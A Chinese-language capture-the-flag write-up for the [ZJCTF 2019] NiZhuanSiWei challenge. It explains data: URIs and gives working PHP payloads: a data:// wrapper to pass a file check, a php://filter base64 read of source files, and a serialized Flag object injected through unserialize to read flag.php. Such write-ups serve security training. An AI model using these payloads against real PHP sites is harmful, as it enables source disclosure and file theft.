通過這個題來記錄幾個繞過技巧
題目鏈接:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
相關知識點:
- data協議寫入文件
- php協議讀取源碼
- php序列化
Data URI
Data URI scheme 簡稱 Data URI,經常會被錯誤地寫成 data URLs。即前綴為data:協議的的URL,其允許內容創建者向文檔中嵌入小文件。
語法: data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤
①協議頭,它標識這個內容為一個 data URI 資源。
②MIME類型,text、image、audio、video、application
③[;charset=<charset>],源文本的字符集編碼方式,默認編碼是 charset=US-ASCII, 即數據部分的每個字符都會自動編碼為 %xx
④ 數據編碼方式(默認US-ASCII,BASE64兩種)
⑤ 編碼后的數據
應用實例
1.在Html的Img對象中使用
<img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />
2.在Css的background-image屬性中使用
div.image { width:100px; height:100px; background-image:url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...); }
3.在Html的css鏈接處使用
<link rel="stylesheet" type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />
4.在Html的javaScript鏈接處使用
<script src="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." type="text/javascript"></script>
5.data RUI scheme也可以直接在瀏覽器的地址欄中輸入進行訪問 ,這道題目就是這種場景下的使用實例。
data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB
題解
題目上來給了一段源碼:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
首先分析一下,有三個參數是可控的:$text、$file、$password。源碼通過一層一層過濾來阻止輸出$password。
第一層過濾:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
需要傳入參數$text,文件$text的內容必須是 "welcome to the zjctf",這里可以使用data協議來實現。payload如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
這里也可以不用base64,使用base64是用來繞過某些過濾。
第二層過濾:
if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }
直接訪問useless.php看不到源碼,需要想辦法看到useless.php的源碼,preg_match函數對"/flag/"進行了過濾,說明不能直接將useless.php賦值給$file,這里可以使用filter協議進行讀取文件源碼,payload如下:
file=php://filter/convert.base64-encode/resource=useless.php
得到一串base64編碼,解碼之后就是useless.php內容:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
第三層過濾就是對Flag類進行一個序列化,傳入參數password就可以了。
<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a); ?> //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終的payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}